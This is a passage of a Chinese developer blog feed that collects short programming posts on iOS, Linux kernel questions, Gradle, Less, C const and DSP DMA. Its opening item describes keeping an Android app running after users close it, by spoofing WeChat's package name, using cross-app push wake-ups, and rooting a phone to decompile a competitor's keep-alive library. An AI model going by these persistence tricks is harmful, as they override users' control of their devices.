android.net.wifi.WIFI_STATE_CHANGED&#xA;android.intent.action.MEDIA_UNMOUNTED&#xA;android.intent.action.MEDIA_REMOVED&#xA;android.intent.action.MEDIA_CHECKING&#xA;android.intent.action.MEDIA_EJECT&#xA;二.依赖于同一个手机上不同APP使用相同的SDK来相互拉起对方&#xA;通过LBE安全大师看QQ能通过个推，JPUSH，小米推送，微信开放平台接口广播，新浪SAE云推送,qq浏览器推送状态广播，手机QQ广播接收等多种推送方式相互唤醒&#xA;是否可以尝试按照QQ方式去实现。&#xA;尝试用com.tencent.mm包名，在魅族NOTE2上，在另外zzh中创建了个服务，服务里每隔一秒打印test，发现正常通过菜单关闭都可以继续执行，此时例子APP到缓存进程中继续运行，关闭缓存进程才彻底关闭。&#xA;QQ当我在魅族NOTE2上，把正在运行和缓存进程中的QQ杀掉后，并且没有其他QQ能唤醒的情况下，QQ也无法收到推送消息。&#xA;三.是否可以尝试依赖于某个手机自身的推送服务&#xA;逐个判断当前推送方式是否能成功，如果不能成功就换下种推送方式推送&#xA;或者在用户登陆APP后反馈登陆信息，根据反馈信息来首先使用当前手机得推送服务。&#xA;魅族没有自己的推送服务，此路不通&#xA;四.看到360手机助手怎么杀都杀不死&#xA;找到一个root的手机，如果不行就找个360一键root，adb shell进入后，执行su命令，当时root权限后，就进入到data/app中，把我需要的com.qihoo.appstore文件中base.apk复制到某个可以用文件夹（例如/mnt/sdcard/tmp）中，然后adb pull /mnt/sdcard/tmp c:\ 中，再通过反编译编译出代码，看看实现。&#xA;发现它有个deamon守护进程的库，libCoreDaemon.so看看怎么使用，发现一直无法加载该库，System.loadLibrary(&#34;CoreDaemon&#34;);报错，无法加载&#xA;1.尝试在魅族上使用微信的包名，发现通过菜单关闭APP，后台服务依然存在可以执行&#xA;2.反编译出360的JAVA代码，查看保活机制，没看懂，尝试使用它的第三方，发现无法加载&#xA;3.尝试集成了信鸽和JPUSH两个推送，发现存活率依然不高&#xA;4.尝试集成多个手机系统的消息推送，发现VIVO，魅族等没有推送服务&#xA;5.尝试闹钟唤醒，闹钟在5.1随着APP关闭也无效&#xA;6.GITHUB上找例子 JNI开启服务不行 前台服务也不行 双JAVA服务也不行&#xA;7.尝试ROOT后使用系统权限 没有ROOT方式，暂时没尝试&#xA;8.两个APP采用不同用户，一个关闭去拉起另外一个 暂时没有尝试&#xA;9.尝试微信或者QQ是否有广播，可以唤醒我们APP 没有发现什么广播可以唤醒</description>
    </item>
    <item>
      <title>ios开发中ViewDidLoad和loadView的区别</title>
      <link>https://bchobby.github.io/posts/1f74d2ea51595c010855a85deac9c5b4/</link>
      <pubDate>Mon, 13 Jun 2016 10:48:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f74d2ea51595c010855a85deac9c5b4/</guid>
      <description>iPhone开发必不可少的要用到这两个方法。 他们都可以用来在视图载入的时候，初始化一些内容。 但是他们有什么区别呢? viewDidLoad 此方法只有当view从nib文件初始化的时候才被调用。viewDidLoad用于初始化，加载时用到的。 loadView 此方法在控制器的view为nil的时候被调用。 此方法用于以编程的方式创建view的时候用到。loadView是使用代码生成视图的时候，当视图第一次载入的时候调用的方法。用于使用(写)代码来实现控件。用于使用代码生成控件的函数。如：&#xA;- (void ) loadView { UIView *view = [ [ UIView alloc] initWithFrame:[ UIScreen mainScreen] .applicationFrame] ; [ view setBackgroundColor:_color] ; self.view = view; [ view release] ; } 你在控制器中实现了loadView方法，那么你可能会在应用运行的某个时候被内存管理控制调用。 如果设备内存不足的时候， view 控制器会收到didReceiveMemoryWarning的消息。默认的实现是检查当前控制器的view是否在使用。如果它的view不在当前正在使用的view hierarchy里面，且你的控制器实现了loadView方法，那么这个view将被release, loadView方法将被再次调用来创建一个新的view。 viewDidLoad ,不论是从xib中加载视图，还是从loadview生成视图，都会被调用。 UIViewController 的内存管理 在 iOS3.0 后，UIViewController 多了一个叫做 viewDidUnLoad 的方法。 先看下 UIViewController 从创建 view 到展示的流程的几个函数 -init -initWithNibName:bundle: 这两个方法都是初始化一个 vc，但请注意 view 不是这时候载入的 -loadView -viewDidLoad 当一个视图准备展现时，vc 首先会判断 view 是否已经创建否则便通过之前指定的 xib 文件来初始化 view，以及绑定其他关系(若没有指定 xib 文件，则默认会搜索和 vc 同名的 xib，比如 myNameViewController 就会搜索 myNameViewController.</description>
    </item>
    <item>
      <title>Linux 内核学习内容</title>
      <link>https://bchobby.github.io/posts/333903625fcba05f103a1a36108d89ba/</link>
      <pubDate>Sun, 12 Jun 2016 22:13:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/333903625fcba05f103a1a36108d89ba/</guid>
      <description>1) Linux中主要有哪几种内核锁？ 2) Linux中的用户模式和内核模式是什么含意？ 3) 怎样申请大块内核内存？ 4) 用户进程间通信主要哪几种方式？ 5) 通过伙伴系统申请内核内存的函数有哪些？ 6) 通过slab分配器申请内核内存的函数有？ 7) Linux的内核空间和用户空间是如何划分的（以32位系统为例）？ 8) vmalloc()申请的内存有什么特点？ 9) 用户程序使用malloc()申请到的内存空间在什么范围？ 10) 在支持并使能MMU的系统中，Linux内核和用户程序分别运行在物理地址模式还是虚拟地址模式？ 11) ARM处理器是通过几级也表进行存储空间映射的？ 12) Linux是通过什么组件来实现支持多种文件系通的？ 13) Linux虚拟文件系统的关键数据结构有哪些？（至少写出四个） 14) 对文件或设备的操作函数保存在那个数据结构中？ 15) Linux中的文件包括哪些？ 16) 创建进程的系统调用有那些？ 17) 调用schedule()进行进程切换的方式有几种？ 18) Linux调度程序是根据进程的动态优先级还是静态优先级来调度进程的？ 19) 进程调度的核心数据结构是哪个？ 20) 如何加载、卸载一个模块？ 21) 模块和应用程序分别运行在什么空间？ 22) Linux中的浮点运算由应用程序实现还是内核实现？ 23) 模块程序能否使用可链接的库函数？ 24) TLB中缓存的是什么内容？ 25) Linux中有哪几种设备？ 26) 字符设备驱动程序的关键数据结构是哪个？ 27) 设备驱动程序包括哪些功能函数？ 28) 如何唯一标识一个设备？ 29) Linux通过什么方式实现系统调用？ 30) Linux软中断和工作队列的作用是什么？ 转载于http://blog.chinaunix.net/u3/118354/showart_2311237.html 1. Linux中主要有哪几种内核锁？ Linux的同步机制从2.0到2.6以来不断发展完善。从最初的原子操作，到后来的信号量，从大内核锁到今天的自旋锁。这些同步机制的发展伴随Linux从单处理器到对称多处理器的过渡； 伴随着从非抢占内核到抢占内核的过度。Linux的锁机制越来越有效，也越来越复杂。 Linux的内核锁主要是自旋锁和信号量。 自旋锁最多只能被一个可执行线程持有，如果一个执行线程试图请求一个已被争用（已经被持有）的自旋锁，那么这个线程就会一直进行忙循环——旋转——等待锁重新可用。要是锁未被争用，请求它的执行线程便能立刻得到它并且继续进行。自旋锁可以在任何时刻防止多于一个的执行线程同时进入临界区。 Linux中的信号量是一种睡眠锁。如果有一个任务试图获得一个已被持有的信号量时，信号量会将其推入等待队列，然后让其睡眠。这时处理器获得自由去执行其它代码。当持有信号量的进程将信号量释放后，在等待队列中的一个任务将被唤醒，从而便可以获得这个信号量。 信号量的睡眠特性，使得信号量适用于锁会被长时间持有的情况；只能在进程上下文中使用，因为中断上下文中是不能被调度的；另外当代码持有信号量时，不可以再持有自旋锁。 Linux 内核中的同步机制：原子操作、信号量、读写信号量和自旋锁的API，另外一些同步机制，包括大内核锁、读写锁、大读者锁、RCU (Read-Copy Update，顾名思义就是读-拷贝修改)，和顺序锁。 2.</description>
    </item>
    <item>
      <title>编译Nexus具体版本的源码</title>
      <link>https://bchobby.github.io/posts/1fa74d84685cc4087f8d10381765fe31/</link>
      <pubDate>Sun, 12 Jun 2016 16:46:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fa74d84685cc4087f8d10381765fe31/</guid>
      <description>1、访问http://source.android.com/source/build-numbers.html&#xA;2、下载对应版本号以及对应的手机型号的脚本，&#xA;3、分别解压，并运行脚本，生成vendor目录&#xA;4、重新编译既可以刷到对应的</description>
    </item>
    <item>
      <title>Android Studio 使用gradle进行编译（附）</title>
      <link>https://bchobby.github.io/posts/d73752b440bca6e5c065af6407826482/</link>
      <pubDate>Sun, 12 Jun 2016 16:18:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d73752b440bca6e5c065af6407826482/</guid>
      <description> 1、安装gradle,&#xA;注意android studio 或者NDK 都自带了gradle，所以没必要下载,直接设置一下环境变量既可以。&#xA;2、使用gradle clean 清除&#xA;3、使用gradle build 进行编译&#xA;附：创建autorun.sh 自动生成xxxxx.h的脚本&#xA;#!/bin/sh export ProjectPath=$(cd &#34;../$(dirname &#34;$1&#34;)&#34;; pwd) export TargetClassName=&#34;com.jni.media.Media&#34; export SourceFile=&#34;${ProjectPath}/app/src/main/java&#34; export TargetPath=&#34;${ProjectPath}/app/src/main/jni&#34; cd &#34;${SourceFile}&#34; javah -d ${TargetPath} -classpath &#34;${SourceFile}&#34; &#34;${TargetClassName}&#34; echo -d ${TargetPath} -classpath &#34;${SourceFile}&#34; &#34;${TargetClassName}&#34; </description>
    </item>
    <item>
      <title>webstorm下搭建编译less环境 以及设置压缩css</title>
      <link>https://bchobby.github.io/posts/1cfcfc2f0bdb68a95145279331d5ca26/</link>
      <pubDate>Fri, 10 Jun 2016 15:29:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1cfcfc2f0bdb68a95145279331d5ca26/</guid>
      <description> webstorm自带less，不过要编译的话需要nodejs环境。&#xA;首先去node的主页下载对应版本的nodejs然后安装，下载地址：http://nodejs.org/安装完之后打开命令提示符（win+r）,分别输入node -v以及npm -v如果返回版本号说明你安装成功了。接下来就可以安装less了，命令提示符npm进入npm管理器，然后npm install less开始下载less，默认安装目录在用户名\node_modules这里面。到这里less安装完毕了，接下来配置webstorm。打开webstorm的file-&amp;gt;settings -&amp;gt;External Tools，点击左上角的“加号”标志add，进入对话框&#xA;program里设置的是lessc的路径，这里的目录可以参考截图中红框中的目录，他会默认编译到根目录。例如：/Users/xx/node_modules/less/bin/lessc如果你想顺便压缩编译后的css，除了在Arguments中写入--plugin=less-plugin-clean-css外还要安装压缩插件：sudo npm install -g less-plugin-clean-css，这里要注意我安装的路径，如果最后less-plugin-clean-css的路径和上边的/Users/xx/node_modules/less不一个路径的话也跑步起来，这样怎么解决呢，可以直接将clean-css路径中的less-plugin-clean-css文件夹copy到/Users/xx/node_modules/中搞定&#xA;然后你可以为这个编译器指定一个快捷键，我使用的是ALT + B之后打开一个.less后缀名的文件，快捷键编译，如果webstorm底部状态控制器显示 Process finished with exit code 0 ，那么恭喜你，大功告成！ </description>
    </item>
    <item>
      <title>数据类型 uint8_t</title>
      <link>https://bchobby.github.io/posts/ef6ed7dbdc90478feaceec4bc4c464ed/</link>
      <pubDate>Wed, 08 Jun 2016 00:10:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef6ed7dbdc90478feaceec4bc4c464ed/</guid>
      <description>ios开发中经常遇到的数据如下的数据类型，uint8_t、uint16_t、uint32_t、uint64_t。&#xA;他们的意思分别是：&#xA;uint8_t 无符号1个字节的整型&#xA;uint16_t 无符号2个字节的整型&#xA;uint32_t 无符号4个字节的整型&#xA;uint64_t 无符号8个字节的整型&#xA;注：一个字节有8位。</description>
    </item>
    <item>
      <title>用avalon写的一个弹窗demo</title>
      <link>https://bchobby.github.io/posts/3268dc415e2283f398ee72453b06cbcb/</link>
      <pubDate>Sun, 05 Jun 2016 22:41:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3268dc415e2283f398ee72453b06cbcb/</guid>
      <description>之前项目中，用avalon写的一个模块，单独拿出来了，一个小弹窗的效果。&#xA;demo地址： http://www.hui12.com/nbin/demo/4a/4a.html&#xA;https://nbin2008.github.io/demo/avalonPop/index.html&#xA;html：&#xA;&amp;lt;div class=&#34;people-pop-shade&#34; ms-controller=&#34;vmPeoplePop&#34; ms-visible=&#34;toggleShade&#34;&amp;gt; &amp;lt;div class=&#34;people-pop-box&#34; ms-visible=&#34;togglePeopleBox&#34;&amp;gt; &amp;lt;!-- head --&amp;gt; &amp;lt;div class=&#34;people-pop-head&#34;&amp;gt; &amp;lt;span class=&#34;nb-fleft people-pop-head-title&#34;&amp;gt;自定义人群条件&amp;lt;/span&amp;gt; &amp;lt;a href=&#34;javascript:;&#34; class=&#34;nb-fRight people-pop-close&#34; ms-on-click=&#34;hidePeopleBox&#34;&amp;gt;x&amp;lt;/a&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;!-- content --&amp;gt; &amp;lt;div class=&#34;people-pop-content-box&#34;&amp;gt; &amp;lt;!-- 待选标签 --&amp;gt; &amp;lt;div class=&#34;nb-fLeft people-pop-unChoose-box&#34; id=&#34;people-pop-unChoose-box&#34;&amp;gt; &amp;lt;div class=&#34;people-pop-unChoose-box-limit&#34; ms-on-scroll=&#34;fnScroll&#34;&amp;gt; &amp;lt;h3 class=&#34;people-pop-choose-title&#34;&amp;gt;待选标签&amp;lt;/h3&amp;gt; &amp;lt;ul class=&#34;people-pop-unChoose-list&#34;&amp;gt; &amp;lt;!-- 性别 --&amp;gt; &amp;lt;li class=&#34;nb-clear&#34; unChooseType=&#34;gender&#34;&amp;gt; &amp;lt;span class=&#34;tag&#34;&amp;gt;性别&amp;lt;/span&amp;gt; &amp;lt;div ms-repeat-el=&#34;unChooseData.gender&#34;&amp;gt; &amp;lt;span ms-attr-index=&#34;$index&#34; ms-class=&#34;active:el.checkNums&amp;gt;0&#34; ms-on-click=&#34;unChooseClick&#34;&amp;gt;{{el.dictName}}&amp;lt;/span&amp;gt; &amp;lt;b class=&#34;people-pop-content-num-all&#34; ms-if-loop=&#34;!(el.dictCode==allChoose||el.childList==null)&#34; ms-visible=&#34;el.isAllCheck==1&#34;&amp;gt;all&amp;lt;/b&amp;gt; &amp;lt;b class=&#34;people-pop-content-num-num&#34; ms-if-loop=&#34;!(el.dictCode==allChoose||el.childList==null)&#34; ms-visible=&#34;el.isAllCheck==null&amp;amp;&amp;amp;el.checkNums&amp;gt;0&#34;&amp;gt;{{el.checkNums}}&amp;lt;/b&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/li&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>Android Studio权威教程</title>
      <link>https://bchobby.github.io/posts/1f95a446a39d338de278d081af1aeeaf/</link>
      <pubDate>Fri, 03 Jun 2016 23:01:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f95a446a39d338de278d081af1aeeaf/</guid>
      <description>转载地址:http://blog.csdn.net/yy1300326388?viewmode=contents&#xA;调试技巧;http://android.jobbole.com/83282/&#xA;http://www.tuicool.com/articles/UJRj6nv&#xA;http://www.2cto.com/kf/201506/408358.html</description>
    </item>
    <item>
      <title>--Notepad&#43;&#43;快捷键 单行、多行、区块注释</title>
      <link>https://bchobby.github.io/posts/aa150285e941d0174eda98976156fa87/</link>
      <pubDate>Mon, 30 May 2016 18:47:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa150285e941d0174eda98976156fa87/</guid>
      <description> 在用notepad++进行代码编辑的过程中，总感觉还是有keil那样可以进行多行注释的快捷方式方便，其实notepad++也可以进行单行、多行、区块注释和取消注释的。。。。。。。 快捷键如下： 单行、多行注释 //方式 ：ctrl+k 区块注释 / * */方式 ：ctrl+q 取消单行、多行、区块注释 ：ctrl+shift+k 如果感觉默认的快捷键不方便，可以修改成自己习惯的快捷键：设置-管理快捷键-Mainmenu选项卡下的第42-44项是上述快捷键选中某项，点击下面的modify就可以换成自己习惯的方式啦~ </description>
    </item>
    <item>
      <title>常用数据库URL地址的写法</title>
      <link>https://bchobby.github.io/posts/ad156dd0f0bbcb1d83058dff625bfbc5/</link>
      <pubDate>Sun, 29 May 2016 15:27:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad156dd0f0bbcb1d83058dff625bfbc5/</guid>
      <description> 常用数据库URL地址的写法： • Oracle写法：jdbc:oracle:thin:@localhost:1521:sid • SqlServer—jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=sid • MySql—jdbc:mysql://localhost:3306/sid Mysql的url地址的简写形式： jdbc:mysql:///sid </description>
    </item>
    <item>
      <title>如何通过wget下载GitHub gist文件</title>
      <link>https://bchobby.github.io/posts/5defd1c12f3a6e65ae2dd28ffb8d17e8/</link>
      <pubDate>Sun, 29 May 2016 09:48:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5defd1c12f3a6e65ae2dd28ffb8d17e8/</guid>
      <description>打开gist的文件, 点击Raw。 打开后如下图，此时的地址便是wget的下载地址： wget上面的地址即可。如下图，下载成功。 对于curl应该也适用，找到真正的下载地址即可。&#xA;这样的话，就可以将一个无插件版本的vim配置文件放到GitHub的gist上托管，下次如果是需要到一台新的服务器上进行vim操作，直接wget下载该gist即可获得一个非常轻量实用的vim配置。&#xA;这里是我在gist托管的无插件vim配置，有兴趣的可以看一下：vim无插件实用配置</description>
    </item>
    <item>
      <title>Visual Studio上开发Python？你不可不知道的六大功能！</title>
      <link>https://bchobby.github.io/posts/34d0803002f57b74358aa3278500f7fc/</link>
      <pubDate>Fri, 27 May 2016 07:34:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34d0803002f57b74358aa3278500f7fc/</guid>
      <description>Visual Studio 2013/2015 搭配 Python Tools for Visual Studio 扩充套件让 Visual Studio 能提供对 Python 程序语言高度整合的开发环境，并完整发挥 Visual Studio 强大的功能，协助您在 Visual Studio 内开发 Python 程序上如虎添翼，提升开发效率！&#xA;以下将说明六项 Visual Studio 整合开发 Python 程序之优势功能。&#xA;整合 Python 直译器 (Interpreter) &amp;amp; 互动视窗 (Interactive)&#xA;整合 Python 虚拟开发环境 (Virtual Environment)&#xA;整合 Python 套件管理员 (Package Manager)&#xA;IntelliSense 对 Python 完整的支持&#xA;对 Python 使用侦错模式 (Debugging)&#xA;跨平台远端侦错 (Remote Debugging)&#xA;整合 Python 直译器 (Interpreter) &amp;amp; 互动视窗 (Interactive)&#xA;Visual Studio 高度整合 Python 直译器，让您能够在开发过程中切换不同版本的 Python 直译器。此项功能除了能够切换至您所熟悉的 Python 版本进行开发外，更可确保您的程序在不同 Python 版本下运行的函式相容性是合法的，如下图代码当中的 print 函式，在 Python 2.</description>
    </item>
    <item>
      <title>解决jsCookie 页面跳转失效问题</title>
      <link>https://bchobby.github.io/posts/9743749bcac8ff8961118e3363ab6eea/</link>
      <pubDate>Thu, 26 May 2016 20:44:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9743749bcac8ff8961118e3363ab6eea/</guid>
      <description> jquery-cookie/1.4.1 貌似已经不更新了，可用cookie.js 在使用cookie 时 遇到 页面跳转，cookie消失的情况，我们可以在cookie后加一路径来解决这一问题。 $.cookie(&#39;cart_info&#39;, cookieStr, { expires: 30, path: &#39;/&#39; }); 注：在默认情况下，只有设置cookie的网页才能读取该cookie。如果想让一个页面读取另一个页面设置的cookie，必须设置cookie的路径。 cookie的路径用于设置能够读取cookie的顶级目录。将这个路径设置为网站的根目录，可以让所有网页都能互相读取cookie（一般不要这样设置，防止出现冲突） </description>
    </item>
    <item>
      <title>利用 clipboardData 在网页中实现截屏粘贴的功能</title>
      <link>https://bchobby.github.io/posts/fa7d0237f5caa15b0fcdd731ed97d82a/</link>
      <pubDate>Tue, 24 May 2016 08:45:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa7d0237f5caa15b0fcdd731ed97d82a/</guid>
      <description>目前只有Chrome支持获取剪切板中的图片数据。还好需要这个功能的产品目前只支持Chrome和Safari，一些Chrome的新特性是可以尽情使用了，还是能够覆盖到大部分用户的。所以本文只讨论Chrome如何使用和如何阻止Safari，原理大概了解了，再研究其他浏览器相关的问题就容易多了。&#xA;在线演示：&#xA;http://qingshanboke.com/Lab/LabPasteImage&#xA;主要代码：&#xA;// demo 程序将粘贴事件绑定到 document 上&#xA;document.addEventListener(&#34;paste&#34;, function (e) {&#xA;var cbd = e.clipboardData;&#xA;var ua = window.navigator.userAgent;&#xA;// 如果是 Safari 直接 return&#xA;if ( !(e.clipboardData &amp;amp;&amp;amp; e.clipboardData.items) ) {&#xA;return;&#xA;}&#xA;// Mac平台下Chrome49版本以下 复制Finder中的文件的Bug Hack掉&#xA;if(cbd.items &amp;amp;&amp;amp; cbd.items.length === 2 &amp;amp;&amp;amp; cbd.items[0].kind === &#34;string&#34; &amp;amp;&amp;amp; cbd.items[1].kind === &#34;file&#34; &amp;amp;&amp;amp;&#xA;cbd.types &amp;amp;&amp;amp; cbd.types.length === 2 &amp;amp;&amp;amp; cbd.types[0] === &#34;text/plain&#34; &amp;amp;&amp;amp; cbd.types[1] === &#34;Files&#34; &amp;amp;&amp;amp;&#xA;ua.match(/Macintosh/i) &amp;amp;&amp;amp; Number(ua.</description>
    </item>
    <item>
      <title>Eclipse汉化后发生错误，请参考日志文件。</title>
      <link>https://bchobby.github.io/posts/73aaf166cc96c4c7dc3a3f89c4c85c42/</link>
      <pubDate>Mon, 23 May 2016 09:36:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73aaf166cc96c4c7dc3a3f89c4c85c42/</guid>
      <description> 解决方法：1、删除eclipse/configuration 目录下的 org.eclipse.osgi 和org.eclipse.update 两个子目录 2、重新启动 eclipse </description>
    </item>
    <item>
      <title>数据库和数据仓库（笔记）</title>
      <link>https://bchobby.github.io/posts/734eb4cb950413884226792b32e86d08/</link>
      <pubDate>Sun, 22 May 2016 16:42:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/734eb4cb950413884226792b32e86d08/</guid>
      <description>数据库管理系统： RDBMS(Relational Databases Management Systems) PosterSQL 2. 数据仓库&#xA;长期存储数据&#xA;整合不同来源的数据（包括元数据）&#xA;多种格式存储数据&#xA;有助于高速检索的形式进行存储&#xA;结构化数据的提供者&#xA;帮助产生商业智慧&#xA;OLAP：通过限制，切割，过滤，向上钻取，向下钻取来处理数据&#xA;OLAP多维数据模型，俗称CUBE&#xA;数据聚合技术会整理总结大量数据&#xA;数据仓库的组件：&#xA;1.ETL&#xA;2.Warehouse&#xA;3.元数据&#xA;4.CUBE&#xA;5.报表和仪表&#xA;3.非关系型数据库&#xA;不按照表格或者键来存储的数据库&#xA;NoSQL Not Only SQL:&#xA;－键值数据库&#xA;－文档数据库&#xA;－列式数据库&#xA;－图数据库&#xA;－空间数据库&#xA;键值对模型（KVP）：riak数据库&#xA;文档数据库：存储库（word files,web pages,static entity,Dynamic assembly）&#xA;JSON表示：javascript object notation&#xA;BSON表示：Binary JSON&#xA;MongoDB ,CouchDB&#xA;列式数据库：以列而不是以行来存储数据的&#xA;HBase&#xA;图数据库：Neo4j&#xA;空间数据库：基本的信息或者数据是跨多个地理区域和地点呈现的。&#xA;POST GIS／Open Geo Suite&#xA;流数据是；动态产生的数据&#xA;这样的数据需要复杂的事件处理算法</description>
    </item>
    <item>
      <title>搞懂顶层const和底层const</title>
      <link>https://bchobby.github.io/posts/be279a89c94ea248d156803a37e1eac5/</link>
      <pubDate>Fri, 20 May 2016 05:09:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be279a89c94ea248d156803a37e1eac5/</guid>
      <description>C语言虽然简单，但是重难点还是很多的，就比如让需要新手比较蛋疼的指针问题，但是深入学习之后指针才是碰到的第一个拦路虎，也是最简单的一个。比如声明问题，顶层const和底层const。今天说说后者。&#xA;声明问题可以理解为复杂指针，函数指针的声明和解读问题&#xA;int (*f(int, int))(int); // f 是一个有两个int类型参数的函数，函数返回指向具有一个参数为int类型，返回类型为int的函数指针 以下有几个栗子&#xA;int iVal = 520; // 第一个栗子 const int *pVal1 = &amp;amp;iVal; // 第二个栗子 int const *pVal2 = &amp;amp;iVal; // 第三个栗子 int * const pVal3 = &amp;amp;iVal; // 第四个栗子 int const * const pVal4 = &amp;amp;iVal; 分析 首先我们说说顶层const和底层const的通俗定义&#xA;顶层const: 表示指针本身是个常量，更简单的说顶层const作用对对象本身，表示对象自身是一个常量&#xA;底层const: 表示指针所指向的对象是个常量&#xA;所以有以下结论（个人总结） 将const考虑成向右结合&#xA;如果const右结合修饰的为类型或者*，那这个const就是一个底层const&#xA;如果const右结合修饰的为标识符，那这个const就是一个顶层const&#xA;const的影响 2017-02-11 更新: 书写错误&#xA;int const * const p; ^ ^ 1 2 底层const(上述代码中1的位置)主要影响的是指向的对象&#xA;顶层const表示为不能修改所指向的对象的值，即，所指向的对象是一个常量。</description>
    </item>
    <item>
      <title>TMS320F28335学习笔记——DMA</title>
      <link>https://bchobby.github.io/posts/6a4a5df6234b3e641fe966c8d0abcf9b/</link>
      <pubDate>Sun, 15 May 2016 17:16:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a4a5df6234b3e641fe966c8d0abcf9b/</guid>
      <description> TI提供的SPR530（C2833x/C2823x C/C++ 头文件和外设示例）使我们非常方便的使用2833X和2823X的外设。下面就它定义的函数加一个说明。 // $TI Release: DSP2833x Header Files V1.10 $ // $Release Date: February 15, 2008 $ //**************在DSP2833x_Adc.c中定义的，共1个函数**************************// void InitAdc(void);//在DSP2833x_Adc.c中定义，初始化ADC，使能ADCCLK，调入ADC的出厂刻度数据，上电。 //**************在DSP2833x_DMA.c中定义的，共37个函数**************************// void DMAInitialize(void);//执行DMA硬件复位，设置DMA不受仿真器的影响。。 // DMA Channel 1 void DMACH1AddrConfig(volatile Uint16 *DMA_Dest,volatile Uint16 *DMA_Source); //设置DMA的源和目标 void DMACH1BurstConfig(Uint16 bsize, int16 srcbstep, int16 desbstep); //设置每次Burst的字节数、源地址增量、目标地址增量。注意对于28335，BYTE和WORD是一样的，都是16BIT。 void DMACH1TransferConfig(Uint16 tsize, int16 srctstep, int16 deststep); //设置每次传送包含多少个Burst、传送完毕发中断，源地址增量、目标地址增量 void DMACH1WrapConfig(Uint16 srcwsize, int16 srcwstep, Uint16 deswsize, int16 deswstep); //设置传送完毕的源地址和目标地址 void DMACH1ModeConfig(Uint16 persel, Uint16 perinte, Uint16 oneshot, Uint16 cont, Uint16 synce, Uint16 syncsel, Uint16 ovrinte, Uint16 datasize, Uint16 chintmode, Uint16 chinte); //设置DMA工作模式，包括触发源、是否使能触发源、是否使能oneshot模式、是否使能Continuous模式、是否使能外围设备同步、选择同步模式、溢出中断等。） 参数说明： persel--选择触发源，值为下列选项 DMA_SEQ1INT－－－－－－－－ADC DMA_SEQ2INT－－－－－－－－ADC DMA_XINT1 －－－－－－－－外部中断 DMA_XINT2 －－－－－－－－外部中断 DMA_XINT3 －－－－－－－－外部中断 DMA_XINT4 －－－－－－－－外部中断 DMA_XINT5 －－－－－－－－外部中断 DMA_XINT6 －－－－－－－－外部中断 DMA_XINT7 －－－－－－－－外部中断 DMA_XINT13 －－－－－－－－外部中断 DMA_TINT0 －－－－－－－－CPU时钟 DMA_TINT1 －－－－－－－－CPU时钟 DMA_TINT2 －－－－－－－－CPU时钟 DMA_MXEVTA －－－－－－－－McBSP-A DMA_MREVTA －－－－－－－－McBSP-A DMA_MXREVTB －－－－－－－－McBSP-B DMA_MREVTB －－－－－－－－McBSP-B perinte--使能触发源，值为PERINT_DISABLE或PERINT_ENABLE oneshot--使能oneshot模式,值为ONESHOT_DISABLE或ONESHOT_ENABLE。此模式下，一次触发完成全部burst。 cont--使能Continuous模式，值为CONT_DISABLE或CONT_ENABLE。此模式下，传送完毕后DMA重新被初始化，并等待触发源。 synce--使能外围设备同步，值为SYNC_DISABLE或SYNC_ENABLE。 syncsel--同步选择。值为SYNC_SRC或SYNC_DST。 ovrinte--使能溢出中断。值为OVRFLOW_DISABLE或OVEFLOW_ENABLE。 datasize--每次传送位数。值为SIXTEEN_BIT或THIRTYTWO_BIT。 chintmode--通道中断产生模式。CHINT_BEGIN：传送开始发中断。CHINT_END：传送结束发中断。 chinte--使能通道中断。值为CHINT_DISABLE或CHINT_ENABLE。 void StartDMACH1(void); //启动DMACH1 //其它5个通道的DMA的函数功能含义是一样的 // DMA Channel 2 void DMACH2AddrConfig(volatile Uint16 *DMA_Dest,volatile Uint16 *DMA_Source); void DMACH2BurstConfig(Uint16 bsize, int16 srcbstep, int16 desbstep); void DMACH2TransferConfig(Uint16 tsize, int16 srctstep, int16 deststep); void DMACH2WrapConfig(Uint16 srcwsize, int16 srcwstep, Uint16 deswsize, int16 deswstep); void DMACH2ModeConfig(Uint16 persel, Uint16 perinte, Uint16 oneshot, Uint16 cont, Uint16 synce, Uint16 syncsel, Uint16 ovrinte, Uint16 datasize, Uint16 chintmode, Uint16 chinte); void StartDMACH2(void); // DMA Channel 3 void DMACH3AddrConfig(volatile Uint16 *DMA_Dest,volatile Uint16 *DMA_Source); void DMACH3BurstConfig(Uint16 bsize, int16 srcbstep, int16 desbstep); void DMACH3TransferConfig(Uint16 tsize, int16 srctstep, int16 deststep); void DMACH3WrapConfig(Uint16 srcwsize, int16 srcwstep, Uint16 deswsize, int16 deswstep); void DMACH3ModeConfig(Uint16 persel, Uint16 perinte, Uint16 oneshot, Uint16 cont, Uint16 synce, Uint16 syncsel, Uint16 ovrinte, Uint16 datasize, Uint16 chintmode, Uint16 chinte); void StartDMACH3(void); // DMA Channel 4 void DMACH4AddrConfig(volatile Uint16 *DMA_Dest,volatile Uint16 *DMA_Source); void DMACH4BurstConfig(Uint16 bsize, int16 srcbstep, int16 desbstep); void DMACH4TransferConfig(Uint16 tsize, int16 srctstep, int16 deststep); void DMACH4WrapConfig(Uint16 srcwsize, int16 srcwstep, Uint16 deswsize, int16 deswstep); void DMACH4ModeConfig(Uint16 persel, Uint16 perinte, Uint16 oneshot, Uint16 cont, Uint16 synce, Uint16 syncsel, Uint16 ovrinte, Uint16 datasize, Uint16 chintmode, Uint16 chinte); void StartDMACH4(void); // DMA Channel 5 void DMACH5AddrConfig(volatile Uint16 *DMA_Dest,volatile Uint16 